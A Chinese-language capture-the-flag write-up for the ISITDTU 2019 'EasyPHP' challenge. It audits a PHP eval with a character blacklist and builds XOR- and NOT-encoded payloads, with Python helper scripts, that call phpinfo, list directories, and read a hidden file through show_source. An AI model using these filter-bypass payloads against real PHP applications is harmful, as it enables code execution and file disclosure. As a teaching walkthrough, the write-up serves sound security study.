[ISITDTU 2019]EasyPHP
打开题目审计代码
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
只要绕过两个if语句就可以执行$_
第二个if
限制了我们使用的字符的种类不能超过13种,第一个if
是进行了一系列的正则匹配,这里有个线上解释正则表达式的网站,把题目里面的正则表达式输进去得到匹配的字符结果
i匹配下面列表中的单个字符[\x00- 0-9\'" ' $&.,|[{_defgops\x7F]
+
匹配之前的token在1次和无限次之间,尽可能多的次数,根据需要返回(贪婪)
\x00
匹配ascll码在0-32
之间的字符
0-9
匹配范围数字0-9
\'
匹配 '
" ' $ & .,|[{_defgops
匹配列表" ' $ & .,|[{_defgops
中的单个字符。
\x7F
匹配字符十进制127
也就是过滤了所有的数字和字符@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_abcdefghijklmnopqrstuvwxyz{|}-
这里是所有的ascii码中的可见字符,我们将不可用的删掉就得到!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~
下面我用python写了个异或脚本,下面我们就要构造能够执行的命令
from urllib import parse
goal="system('cat /flag')"
str="!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~"
for k in goal:
flag=0
for i in str:
for j in str:
if ord(i)^ord(j) == ord(k):
ui = parse.quote(i)
uj = parse.quote(j)
print("{}^{}={}".format(ui,uj,k))
flag = 1
pass
pass
if(flag == 1):
break
pass
pass
pass
执行结果
也就是system('cat /flag')
=%21%21%21%21%25%21%40I%21%21%21A%25%21%25I%40^RXRU%40LhnB%40UaCM%40Bni
超出长度限制了,欸,看一下我们用了多少个字符
<?php
$str='%21%21%21%21%25%21%40I%21%21%21A%25%21%25I%40^RXRU%40LhnB%40UaCM%40Bni';
$str1=urldecode($str);
$count=strlen(count_chars($str1,3));
var_dump($count);
我们用了17种字符,但是这已经是我们使用的方法下面最少的字符数量了,那么我们就可以控制异或的两个值有一个是一直不变的就可以节省很多的字符,这里因为之前用过0xff
,这里也用它尝试一下
而且看了wp之后才知道很多命令执行的危险函数都被禁掉了,所以以后做题之前要先看一下phpinfo();
=((%8f%97%8f%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();
goal="phpinfo"
str=255
for k in goal:
flag = 0
for i in range(128, 254):
if i ^ str == ord(k):
num = hex(i)
num2= hex(str)
print("{}^{}={}".format(num,num2,k))
flag=1
pass
if(flag == 1):
break
pass
pass
pass
//运行结果
0x8f^0xff=p
0x97^0xff=h
0x8f^0xff=p
0x96^0xff=i
0x91^0xff=n
0x99^0xff=f
0x90^0xff=o
那么phpinfo就可以用(%8f%97%8f%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff)来表示
然后我们看一下phpinfo里面的禁用函数
有这么多,system,exec和很多命令执行的函数都被ban掉了,这里可以还可以利用print_r
执行命令,和scandir(.)
查看当前目录,也就是print_r(scandir(.))
((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
我们用的字符串超过了,我们去看看我们用了多少种字符
我们用了16种,但是题目要求的是不能超过13种,去掉一定要使用的() ^ ;
,就还剩9个,但是这已经是两种字符异或用的最少字符的情况了,我们可以再找字符异或得到我们之前进行异或的字符进行替换,也就是print_r(scandir(.))
里面有print_scad.
一共有11个,比只能有的8个多了三个,就找出三个字符来用这里面的来进行异或表示,对应的ascii码就是112,114,105,110,116,115,99,97,100
字母: p r i n t s c a d . _
十进制: 112, 114, 105, 110, 116, 115, 99, 97, 100, 46, 95
十六进制: 0x70 0x72 0x69 0x6e 0x74 0x73 0x63 0x61 0x64 0x2e 0x5f
十六进制^0xff:0x8f,0x8d,0x96,0x91,0x8b,0x8c,0x9c,0x9e,0x9b,0xd1,0xa0
p 0x8f^0x8f^0x8f=0x8f
r 0x8f^0x9c^0x9e=0x8d 1
i 0x96^0x96^0x96=0x96
n 0x96^0x9c^0x9b=0x91 1
t 0x8c^0x9c^0x9b=0x8b 1
s 0x8c^0x8c^0x8c=0x8c
c 0x9c^0x9c^0x9c=0x9c
a 0x9e^0x9e^0x9e=0x9e
d 0x9b^0x9b^0x9b=0x9b
. 0xd1^0xd1^0xd1=0xd1
_ 0xa0^0xa0^0xa0=0xa0
那么我们用来构造的字符就是0x8f,0x96,0x8c,0x9c,0x9e,0x9b,0xd1,0xa0
print_r=(%8f%8f%96%96%8c%a0%8f)^(%8f%9c%96%9c%9c%a0%9c)^(%8f%9e%96%9b%9b%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff)
scandir=(%8c%9c%9e%96%9b%96%9e)^(%8c%9c%9e%9c%9b%9b%9c)^(%8c%9c%9e%9b%9b%9b%8f)^(%ff%ff%ff%ff%ff%ff%ff)
最后经过缩减的payload就是这样
((%8f%8f%96%96%8c%a0%8f)^(%8f%9c%96%9c%9c%a0%9c)^(%8f%9e%96%9b%9b%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%96%9b%96%9e)^(%8c%9c%9e%9c%9b%9b%9c)^(%8c%9c%9e%9b%9b%9b%8f)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)));
我们可以看见在当前目录下有这个文件n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt
我们可以使用file_get_content
和show_source
来读文件,因为字符可用字符数量有限,我们选择show_source
,语句show_source(end(scandir(.)));
这里一共有showurcendai_.
,有14个字符,用ascii码表示就是115,104,111,119,117,114,99,101,110,100,97,105,46,95
,这些字符转化为16进制表示就是
字母: s h o w u r c e n d a i . _
十进制: 115, 104, 111, 119, 117, 114, 99, 101, 110, 100, 97, 105, 46, 95
十六进制: 0x73 0x68 0x6f 0x77 0x75 0x72 0x63 0x65 0x6e 0x64 0x61 0x69 0x2e 0x5f
十六进制^0xff 0x8c,0x97,0x90,0x88,0x8a,0x8d,0x9c,0x9a,0x91,0x9b,0x9e,0x96,0xd1,0xa0
s 0x8d^0x9a^0x9b=0x8c 1
h 0x97^0x9c^0x9c=0x97
o 0x97^0x9b^0x9c=0x90 1
w 0x88^0x88^0x88=0x88
u 0x8d^0x9b^0x9c=0x8a 1
r 0x8d^0x8d^0x8d=0x8d
c 0x9c^0x9c^0x9c=0x9c
e 0x9a^0x9a^0x9a=0x9a
n 0x97^0x9a^0x9c=0x91 1
d 0x9b^0x9b^0x9b=0x9b
a 0x88^0x8d^0x9b=0x9e 1
i 0x97^0x9a^0x9b=0x96 1
. 0xd1
_ 0xa0^0xa0^0xa0=0xa0
这里我们选择的来构造的数就是str = [0x97, 0x88, 0x8d, 0x9c, 0x9a, 0x9b, 0xd1, 0xa0]
show_source=(%8d%97%97%88%a0%8d%97%8d%8d%9c%9a)^(%9a%9c%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%88%a0%9b%9c%9c%8d%9c%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff)
end=(%9a%97%9b)^(%9a%9a%9b)^(%9a%9c%9b)^(%ff%ff%ff)
scandir=(%8d%9c%88%97%9b%97%8d)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%9c%9b%9c%9b%9b%8d)^(%ff%ff%ff%ff%ff%ff%ff)
((%8d%97%97%88%a0%8d%97%8d%8d%9c%9a)^(%9a%9c%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%88%a0%9b%9c%9c%8d%9c%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%97%9b)^(%9a%9a%9b)^(%9a%9c%9b)^(%ff%ff%ff))(((%8d%9c%88%97%9b%97%8d)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%9c%9b%9c%9b%9b%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));